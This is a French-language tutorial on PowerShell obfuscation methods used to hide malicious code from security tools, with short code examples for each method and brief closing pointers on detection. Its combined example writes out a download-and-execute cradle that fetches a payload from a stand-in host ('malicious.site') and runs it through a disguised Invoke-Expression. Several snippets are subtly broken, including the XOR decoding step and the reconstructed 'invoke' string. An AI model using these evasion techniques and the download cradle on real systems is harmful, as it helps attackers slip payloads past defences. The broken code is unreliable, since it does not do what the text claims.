Techniques d’obfuscation PowerShell : Guide Complet avec Exemples#

L’obfuscation PowerShell est utilisée pour masquer le code malveillant ou sensible, le rendant difficile à analyser pour les outils de sécurité. Voici les méthodes clés et des exemples concrets.


1. Découpage de chaînes#

Objectif : Fragmenter les commandes en morceaux réassemblés à l’exécution.

# Exemple 1 : Appel de Get-Process  
& ('Ge'+'t-Pr'+'ocess') -Name "chrome"  

# Exemple 2 : Appel dynamique d'une cmdlet  
$cmd = 'Inv'+'oke-Exp'+'ression'  
& $cmd "Start-Process notepad"  

2. Encodage Base64#

Objectif : Cacher le code dans une chaîne encodée.

# Convertir un script en Base64  
$script = "Get-ChildItem -Path $env:USERPROFILE\Documents -Recurse"  
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($script))  

# Exécuter le code encodé  
powershell.exe -EncodedCommand $encoded  

3. Alias obscurs#

Objectif : Utiliser des alias courts pour remplacer les cmdlets connues.

# Raccourcis courants  
gal                        # Get-Alias  
scmo -Value 'Data' -Name X # Set-Content  
% { $_ * 2 }               # ForEach-Object  

4. Variables dynamiques#

Objectif : Stocker des parties de code dans des variables pour brouiller les pistes.

$a = 'Get'  
$b = '-WmiObject'  
$c = 'Win32_Process'  
& ($a + $b) $c  

5. Caractères d’échappement#

Objectif : Ajouter des caractères inutiles pour perturber la lecture.

# Utilisation de backticks (`)  
Invoke`-Expression "Write`-Host 'Hello'"  

# Caractères vides et guillemets  
& "Get`-`Process"  

6. Appels .NET directs#

Objectif : Éviter les cmdlets PowerShell en utilisant des classes .NET.

# Créer un fichier sans cmdlets  
[System.IO.File]::WriteAllText("C:\Temp\secret.txt", "Confidential")  

# Démarrer un processus  
[System.Diagnostics.Process]::Start("calc.exe")  

7. Encodage personnalisé (XOR)#

Objectif : Masquer les chaînes avec un chiffrement maison.

# Chiffrement XOR simple  
$key = 0x42  
$secret = "Payload"  
$obfuscated = $secret.ToCharArray() | ForEach-Object { [char]($_ -bxor $key) }  
$payload = -join $obfuscated  

# Déchiffrement et exécution  
iex ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($payload)))  

8. Fragmentation syntaxique#

Objectif : Ajouter du bruit syntaxique pour complexifier l’analyse statique.

# Commentaires et sauts de ligne inutiles  
Get-Content `  
  -Path "C:\Logs\*" `  
| Where-Object { `  
    $_ -match "error" `  
} `  
| ForEach-Object { $_.Split(':')[1] }  

Combinaisons avancées#

Exemple : Utiliser des variables, du découpage et des appels .NET.

$trigger = ('i'+'n'+'v'+'ok'+'e-exe' -replace '-exe','')  
$url = "http://malicious.site/payload.ps1"  
$script = (New-Object Net.WebClient).DownloadString($url)  
& $trigger $script  

Pour aller plus loin#

  • Analyse dynamique : Exécutez les scripts dans un sandbox pour observer leur comportement réel.
  • Déobfuscation manuelle : Utilisez des outils comme PSDecode ou CyberChef pour décoder les chaînes.
  • Règles de détection : Cherchez des motifs comme iex, -EncodedCommand, ou des appels fréquents à [System.Reflection.Assembly].

Note : Ces techniques illustrent des méthodes réelles utilisées par les attaquants. Testez-les uniquement dans un environnement contrôlé.